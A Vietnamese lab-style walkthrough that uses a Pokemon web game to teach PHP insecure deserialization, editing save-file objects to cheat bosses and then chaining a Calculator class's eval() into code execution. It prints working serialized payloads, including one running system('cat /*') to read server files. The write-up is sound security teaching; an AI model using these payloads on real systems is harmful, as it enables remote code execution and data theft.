Thay vì chơi CTF thì hôm nay chúng ta sẽ cùng chơi game săn Pokemon để học một lỗi bảo mật nâng cao đó là Insecure deserialize, nếu khái niệm này còn quá mới với bạn, bạn có thể xem qua Introduction cực kỳ dễ hiểu thông qua video này, bạn xem xong rồi quay lại để đọc tiếp blog này cũng được nhé, còn nếu bạn đã thông thạo lỗ hổng này, thì chúng ta sẵn sàng cho một cuộc hành trình đầy thú vị rồi, bắt đầu thôi
HOME
Game khá đơn giản, tất cả những gì chúng ta cần làm là dùng chuột để di chuyển và tương tác với NPC, vì là lần đầu chơi nên ta New game luôn nhé
NEW GAME
Ok, chúng ta sẽ đăng ký một tài khoản, và đăng nhập
Giao diện chính của game sau khi đăng nhập thành công như sau:
Ta đặt tên và chọn một Pokemon để bắt đầu
Một bản đồ nhỏ sẽ hiện ra, ta dùng chuột di để click vào ô muốn di chuyển đến trên bản đồ, ngẫu nhiên mỗi ô sẽ xuất một một Pokemon khác, ta có 2 lựa chọn là đánh hoặc là chạy
Nếu bạn thắng, Pokemon của bạn sẽ được tăng chỉ số sức mạnh tương đương với sức mạnh của Pokemon mà bạn đã đánh bại
SAVE GAME
Khi nhấn Save game, bạn sẽ tải xuống một file pokemon.sav có nội dung như sau:
O:7:"Trainer":2:{s:4:"name";s:3:"Oga";s:7:"pokemon";O:7:"Pokemon":4:{s:4:"name";s:10:"Fightildie";s:4:"type";s:10:"charmander";s:6:"health";i:190;s:6:"damage";i:52;}}
Đây được gọi là Serialize, nôm na thì tính năng này giúp bạn có thể “ screen shot “ lại trạng thái của một Object và chuyển nó lại dưới dạng một chuỗi dữ liệu có thể truyền đi dễ dàng, đoạn code của tính năng này như sau:
if ($_GET["action"] == "save") {
if (!isset($_SESSION["trainer"]))
die('{"msg": "You havent started the game yet"}');
$message = serialize($_SESSION["trainer"]);
// Tải về thành file pokemon.sav
// Reference: https://stackoverflow.com/questions/13279801/how-can-i-download-a-string-to-the-browser-using-php-not-a-text-file
header('Content-Type: application/octet-stream');
header("Content-disposition: attachment; filename=pokemon.sav");
header("Content-Length: " . strlen($message));
echo $message;
}
LOAD GAME
Khi load game, bạn sẽ tải file có extension là sav mà khi save game server đã cung cấp cho bạn, nếu thành công thì trả về thông báo như sau
EXPLOIT
ROUND 1
Ở đây ta gặp một con boss có Strength lên đến 103, ta có thể đi farm quái nhỏ để tăng cấp lên dần rồi đánh nó, nhưng chúng ta là những hacker mũ trắng, không thể đi theo lối mòn này được
Vậy sẽ ra sao nếu ta chỉnh sửa thuộc tính máu của pokemon trong file pokemon.sav mà ta đã tải về lúc trước thành 9999 rồi ta tiến hành load game nhỉ, có phải con pokemon của ta sẽ bất khả chiến bại không ?
Sau khi load game xong, con pokemon của chúng ta lúc này đã đạt một ngưỡng sức mạnh mới, dễ dàng đánh bại con boss 1 này
ROUND 2
Con boss ở ROUND 2
này rất mạnh, nó có special skills
là giảm Strength
và HP
về bằng 1
, nên dù ta có tăng sức mạnh lên 9999
thì vẫn sẽ đánh thua con boss này
if ($action == "fight_boss") {
if (!isset($_SESSION["boss"])) {
// Khi chưa khởi tạo đối thủ
// Trả về mảng rỗng thể hiện không có sự đánh nhau nào
echo json_encode([]);
die();
}
// Kĩ năng đặc biệt của Boss: giảm sát thương và máu của kẻ địch về 1
$_SESSION["trainer"]->pokemon->health = 1;
$_SESSION["trainer"]->pokemon->damage = 1;
$result = $_SESSION["trainer"]->fight($_SESSION["boss"]);
// Nếu đánh thắng 1 con boss, sẽ trả về FLAG ở header
if ($_SESSION["trainer"]->checkAlive()) {
header("Flag: " . getenv("BOSS2_FLAG"));
}
$_SESSION["boss"] = null;
echo json_encode($result);
die();
}
Vậy ta phải làm sao ?, rất may là ở cuối class Trainer, ta có class TrumCuoi
class TrumCuoi extends Trainer
{
/**
* TrumCuoi là Trainer với khả năng đặc biệt one-round KO
* Đọc hàm fight() của class Trainer để có thêm thông tin
*/
public function fight(Pokemon $wild_pokemon)
{
return Array(Array(1, 0)); // đặt số máu của Pokemon hoang dã = 0
}
}
Lần này ta lại tiếp tục thay đổi file pokemon.sav nhưng không chỉ dừng ở giá trị của thuộc tính mà là thay đổi cả class Trainer thành TrumCuoi
Tuy nhiên lần này ta phải cẩn thận, số đứng trước mỗi tên biến hay tên của class đó là độ dài chuỗi của tên biến hay tên của class đó, Trainner
có độ dài chuỗi là 7
trong khi TrumCuoi
có độ dài chuỗi là 8
nên ta phải thay đổi 7
thành 8
nữa thì mới chỉnh sửa class này một cách hợp lệ
ROUND 3
Lần này không còn gặp boss nữa …
Ok, ta đi tìm Secret thôi nào . Thì sau một hồi lục tìm trong source thì ta tìm thấy được một đoạn mã nguy hiểm như sau:
class Calculator {
public $expression;
public function __construct($expr) {
$this->expression = $expr;
}
public function run() {
$result = eval($this->expression);
return $result;
}
}
Ở đây eval()
là một hàm nguy hiểm (synk) khi cho phép thực thi mã php tùy ý mà tham số truyền vào ở đây là $expression
lại không qua bất kỳ một lớp sàng lọc nào, vậy nếu ustrusted data rơi vào đây thì sẽ gây ra lỗi bảo mật
Muốn eval() được kích hoạt thì phải thông qua hàm run()
, tìm kiếm trong mã nguồn thì ta tìm được vị trí sau gọi đến hàm run()
if ($action == "run") {
$result = $_SESSION["trainer"]->run();
if ($result == true)
echo "You escaped";
else
echo "You failed to escape, and lost a little HP";
die();
}
Đó là khi chúng ta cho pokemon của ta bỏ chạy, biến $_SESSION["trainer"]
ở đây chính ta Object khi chúng ta load file pokemon.sav lên. Vậy sẽ ra sao nếu ta tạo một serialize data với Object là một Calculator với tham số khởi tạo sẽ là "phpinfo();"
?, có phải là hàm run được gọi lúc này lại gọi đến đúng hàm run của Object Calculator và ta sẽ thực thi của code Php ? Ta cùng thực nghiệm nhé
Việc chỉnh serialize data một cách thủ công rất tốn thời gian và cũng dễ sai nữa, nên ta sẽ nhờ php serialize cho ta bằng hàm serialize()
<?php
class Calculator {
public $expression;
public function __construct($expr) {
$this->expression = $expr;
}
public function run() {
$result = eval($this->expression);
return $result;
}
}
$calculator = new Calculator("phpinfo();");
echo(serialize($calculator))
?>
Kết quả của chương trình cho ra một data serialize như sau
O:10:"Calculator":1:{s:10:"expression";s:10:"phpinfo();";}
Bây giờ ta load data này lên bằng chức năng load game
Ta thử debug Object vừa gửi lên
Lúc này $trainer chính là Calculator, khi này giá trị phpinfo();
đã nằm trong bộ nhớ của server nhưng vẫn chưa được kích hoạt, muốn chạy thì ta phải đi đánh pokemon khác, và sau đó ta không đánh và nhấn nút run để hàm run
được kích hoạt
Lúc này chương trình đã chạy đúng vào hàm run() và thực thi eval("phpinfo();")
Để đọc được secret, ta thử tiếp với payload sau:
O:10:"Calculator":1:{s:10:"expression";s:17:"system('cat /*');";}
Vậy là cuộc hành trình đã dừng lại, hẹn gặp lại mọi người ở những challenge tiếp theo